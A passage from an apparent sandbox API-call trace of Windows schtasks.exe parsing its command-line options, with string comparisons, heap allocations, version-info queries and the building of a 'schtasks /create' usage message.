(_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.929] lstrlenW (lpString="f") returned 1 [0111.929] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.929] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|?|") returned 3 [0111.929] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.929] lstrlenW (lpString="|?|") returned 3 [0111.929] lstrlenW (lpString="|f|") returned 3 [0111.929] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0111.929] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.929] lstrlenW (lpString="create") returned 6 [0111.929] lstrlenW (lpString="create") returned 6 [0111.929] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.929] lstrlenW (lpString="f") returned 1 [0111.929] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.929] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|create|") returned 8 [0111.929] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.930] lstrlenW (lpString="|create|") returned 8 [0111.930] lstrlenW (lpString="|f|") returned 3 [0111.930] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0111.930] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.930] lstrlenW (lpString="delete") returned 6 [0111.930] lstrlenW (lpString="delete") returned 6 [0111.930] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.930] lstrlenW (lpString="f") returned 1 [0111.930] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.930] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|delete|") returned 8 [0111.930] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.930] lstrlenW (lpString="|delete|") returned 8 [0111.930] lstrlenW (lpString="|f|") returned 3 [0111.930] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0111.930] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.930] lstrlenW (lpString="query") returned 5 [0111.930] lstrlenW (lpString="query") returned 5 [0111.930] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.930] lstrlenW (lpString="f") returned 1 [0111.930] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.930] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|query|") returned 7 [0111.930] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.931] lstrlenW (lpString="|query|") returned 7 [0111.931] lstrlenW (lpString="|f|") returned 3 [0111.931] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0111.931] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.931] lstrlenW (lpString="change") returned 6 [0111.931] lstrlenW (lpString="change") returned 6 [0111.931] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.931] lstrlenW (lpString="f") returned 1 [0111.931] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.931] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|change|") returned 8 [0111.931] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.931] lstrlenW (lpString="|change|") returned 8 [0111.931] lstrlenW (lpString="|f|") returned 3 [0111.931] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0111.931] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.931] lstrlenW (lpString="run") returned 3 [0111.931] lstrlenW (lpString="run") returned 3 [0111.931] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.931] lstrlenW (lpString="f") returned 1 [0111.931] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.931] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|run|") returned 5 [0111.931] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.931] lstrlenW (lpString="|run|") returned 5 [0111.932] lstrlenW (lpString="|f|") returned 3 [0111.932] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0111.932] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.932] lstrlenW (lpString="end") returned 3 [0111.932] lstrlenW (lpString="end") returned 3 [0111.932] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.932] lstrlenW (lpString="f") returned 1 [0111.932] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.932] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|end|") returned 5 [0111.932] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.932] lstrlenW (lpString="|end|") returned 5 [0111.932] lstrlenW (lpString="|f|") returned 3 [0111.932] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0111.932] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.932] lstrlenW (lpString="showsid") returned 7 [0111.932] lstrlenW (lpString="showsid") returned 7 [0111.932] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.932] lstrlenW (lpString="f") returned 1 [0111.932] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.932] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|showsid|") returned 9 [0111.932] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76f788 | out: _Buffer="|f|") returned 3 [0111.932] lstrlenW (lpString="|showsid|") returned 9 [0111.933] lstrlenW (lpString="|f|") returned 3 [0111.933] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0111.933] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.933] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.933] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.933] lstrlenW (lpString="/f") returned 2 [0111.933] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0111.933] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.933] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.933] lstrlenW (lpString="/f") returned 2 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x6) returned 0x144ec914330 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91ba10 [0111.933] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913890) returned 1 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec913890) returned 0x8 [0111.933] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec913890) returned 1 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b830) returned 1 [0111.933] GetProcessHeap () returned 0x144ec910000 [0111.933] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b830) returned 0x20 [0111.934] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b830) returned 1 [0111.981] GetProcessHeap () returned 0x144ec910000 [0111.981] GetProcessHeap () returned 0x144ec910000 [0111.981] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec913920) returned 1 [0111.981] GetProcessHeap () returned 0x144ec910000 [0111.981] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec913920) returned 0xe [0111.981] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec913920) returned 1 [0111.981] GetProcessHeap () returned 0x144ec910000 [0111.981] GetProcessHeap () returned 0x144ec910000 [0111.981] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b3b0) returned 1 [0111.981] GetProcessHeap () returned 0x144ec910000 [0111.981] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b3b0) returned 0x20 [0111.982] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b3b0) returned 1 [0111.984] GetProcessHeap () returned 0x144ec910000 [0111.984] GetProcessHeap () returned 0x144ec910000 [0111.984] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914240) returned 1 [0111.984] GetProcessHeap () returned 0x144ec910000 [0111.984] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914240) returned 0x8 [0111.984] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914240) returned 1 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b680) returned 1 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b680) returned 0x20 [0111.985] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b680) returned 1 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914260) returned 1 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914260) returned 0x10 [0111.985] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914260) returned 1 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] GetProcessHeap () returned 0x144ec910000 [0111.985] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b4a0) returned 1 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b4a0) returned 0x20 [0111.986] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b4a0) returned 1 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914280) returned 1 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914280) returned 0x8 [0111.986] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914280) returned 1 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b470) returned 1 [0111.986] GetProcessHeap () returned 0x144ec910000 [0111.986] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b470) returned 0x20 [0111.987] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b470) returned 1 [0111.987] GetProcessHeap () returned 0x144ec910000 [0111.987] GetProcessHeap () returned 0x144ec910000 [0111.987] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91c3c0) returned 1 [0111.987] GetProcessHeap () returned 0x144ec910000 [0111.987] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91c3c0) returned 0x44 [0111.987] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91c3c0) returned 1 [0111.987] GetProcessHeap () returned 0x144ec910000 [0111.987] GetProcessHeap () returned 0x144ec910000 [0111.987] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b6e0) returned 1 [0111.987] GetProcessHeap () returned 0x144ec910000 [0111.987] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b6e0) returned 0x20 [0111.988] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b6e0) returned 1 [0111.988] GetProcessHeap () returned 0x144ec910000 [0111.988] GetProcessHeap () returned 0x144ec910000 [0111.988] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914310) returned 1 [0111.988] GetProcessHeap () returned 0x144ec910000 [0111.988] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914310) returned 0x8 [0111.988] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914310) returned 1 [0111.988] GetProcessHeap () returned 0x144ec910000 [0111.988] GetProcessHeap () returned 0x144ec910000 [0111.988] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b980) returned 1 [0111.988] GetProcessHeap () returned 0x144ec910000 [0111.988] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b980) returned 0x20 [0111.989] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b980) returned 1 [0111.989] GetProcessHeap () returned 0x144ec910000 [0111.989] GetProcessHeap () returned 0x144ec910000 [0111.989] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ab50) returned 1 [0111.989] GetProcessHeap () returned 0x144ec910000 [0111.989] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ab50) returned 0x10 [0111.989] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ab50) returned 1 [0111.989] GetProcessHeap () returned 0x144ec910000 [0111.989] GetProcessHeap () returned 0x144ec910000 [0111.989] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91b3e0) returned 1 [0111.989] GetProcessHeap () returned 0x144ec910000 [0111.989] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91b3e0) returned 0x20 [0111.990] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91b3e0) returned 1 [0111.990] GetProcessHeap () returned 0x144ec910000 [0111.990] GetProcessHeap () returned 0x144ec910000 [0111.990] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec914330) returned 1 [0111.990] GetProcessHeap () returned 0x144ec910000 [0111.990] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec914330) returned 0x6 [0111.990] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec914330) returned 1 [0111.990] GetProcessHeap () returned 0x144ec910000 [0111.990] GetProcessHeap () returned 0x144ec910000 [0111.990] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91ba10) returned 1 [0111.990] GetProcessHeap () returned 0x144ec910000 [0111.990] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91ba10) returned 0x20 [0111.991] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91ba10) returned 1 [0111.991] GetProcessHeap () returned 0x144ec910000 [0111.991] GetProcessHeap () returned 0x144ec910000 [0111.991] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec916060) returned 1 [0111.991] GetProcessHeap () returned 0x144ec910000 [0111.991] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec916060) returned 0x18 [0111.991] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec916060) returned 1 [0111.992] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.992] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0111.992] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0111.992] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0111.992] RtlVerifyVersionInfo (VersionInfo=0x28fa76c720, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0111.992] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.992] lstrlenW (lpString="create") returned 6 [0111.992] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0111.992] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.992] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.992] lstrlenW (lpString="create") returned 6 [0111.992] GetProcessHeap () returned 0x144ec910000 [0111.992] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91b4a0 [0111.992] GetProcessHeap () returned 0x144ec910000 [0111.992] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec91a970 [0111.992] _memicmp (_Buf1=0x144ec91a970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.992] GetProcessHeap () returned 0x144ec910000 [0111.992] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x16) returned 0x144ec91ac10 [0111.992] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.992] _memicmp (_Buf1=0x144ec914760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x144ec919b40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0111.992] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x28fa76c878 | out: lpdwHandle=0x28fa76c878) returned 0x76c [0111.993] GetProcessHeap () returned 0x144ec910000 [0111.993] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x776) returned 0x144ec91c590 [0111.993] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x144ec91c590 | out: lpData=0x144ec91c590) returned 1 [0111.993] VerQueryValueW (in: pBlock=0x144ec91c590, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x28fa76c810, puLen=0x28fa76c870 | out: lplpBuffer=0x28fa76c810*=0x144ec91c940, puLen=0x28fa76c870) returned 1 [0111.993] _memicmp (_Buf1=0x144ec914760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.993] _vsnwprintf (in: _Buffer=0x144ec919b40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x28fa76c7e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0111.993] VerQueryValueW (in: pBlock=0x144ec91c590, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x28fa76c800, puLen=0x28fa76c868 | out: lplpBuffer=0x28fa76c800*=0x144ec91c770, puLen=0x28fa76c868) returned 1 [0111.993] lstrlenW (lpString="schtasks.exe") returned 12 [0111.993] lstrlenW (lpString="schtasks.exe") returned 12 [0111.993] lstrlenW (lpString=".EXE") returned 4 [0111.993] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0111.994] lstrlenW (lpString="schtasks.exe") returned 12 [0111.994] lstrlenW (lpString=".EXE") returned 4 [0111.994] lstrlenW (lpString="schtasks") returned 8 [0111.994] lstrlenW (lpString="/create") returned 7 [0111.994] _memicmp (_Buf1=0x144ec914760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.994] _vsnwprintf (in: _Buffer=0x144ec919b40, _BufferCount=0x19, _Format="%s %s", _ArgList=0x28fa76c7e8 | out: _Buffer="schtasks /create") returned 16 [0111.994] _memicmp (_Buf1=0x144ec9147f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.994] GetProcessHeap () returned 0x144ec910000 [0111.994] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x20) returned 0x144ec91bb00 [0111.994] _memicmp (_Buf1=0x144ec914810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.994] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x144ec91bb70, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0111.994] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0111.994] GetProcessHeap () returned 0x144ec910000 [0111.994] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x30) returned 0x144ec914310 [0111.994] _vsnwprintf (in: _Buffer=0x144ec913e60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x28fa76c7e8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0111.994] GetProcessHeap () returned 0x144ec910000 [0111.994] GetProcessHeap () returned 0x144ec910000 [0111.994] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91c590) returned 1 [0111.994] GetProcessHeap () returned 0x144ec910000 [0111.994] RtlSizeHeap (HeapHandle=0x144ec910000, Flags=0x0, MemoryPointer=0x144ec91c590) returned 0x776 [0111.995] RtlFreeHeap (HeapHandle=0x144ec910000, Flags=0x0, BaseAddress=0x144ec91c590) returned 1 [0111.995] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0111.995] GetThreadLocale () returned 0x409 [0111.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.995] lstrlenW (lpString="create") returned 6 [0111.995] GetThreadLocale () returned 0x409 [0111.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.995] lstrlenW (lpString="?") returned 1 [0111.995] GetThreadLocale () returned 0x409 [0111.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.995] lstrlenW (lpString="s") returned 1 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="u") returned 1 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="p") returned 1 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="ru") returned 2 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="rp") returned 2 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="sc") returned 2 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="mo") returned 2 [0111.996] GetThreadLocale () returned 0x409 [0111.996] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.996] lstrlenW (lpString="d") returned 1 [0111.997] GetThreadLocale () returned 0x409 [0111.997] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.997] lstrlenW (lpString="m") returned 1 [0111.997] GetThreadLocale () returned 0x409 [0111.997] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.997] lstrlenW (lpString="i") returned 1 [0111.999] GetThreadLocale () returned 0x409 [0111.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.999] lstrlenW (lpString="tn") returned 2 [0111.999] GetThreadLocale () returned 0x409 [0111.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.999] lstrlenW (lpString="tr") returned 2 [0111.999] GetThreadLocale () returned 0x409 [0111.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.999] lstrlenW (lpString="st") returned 2 [0111.999] GetThreadLocale () returned 0x409 [0111.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.999] lstrlenW (lpString="sd") returned 2 [0111.999] GetThreadLocale () returned 0x409 [0111.999] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0111.999] lstrlenW (lpString="ed") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="it") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="et") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="k") returned 1 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="du") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="ri") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="z") returned 1 [0112.000] GetThreadLocale () returned 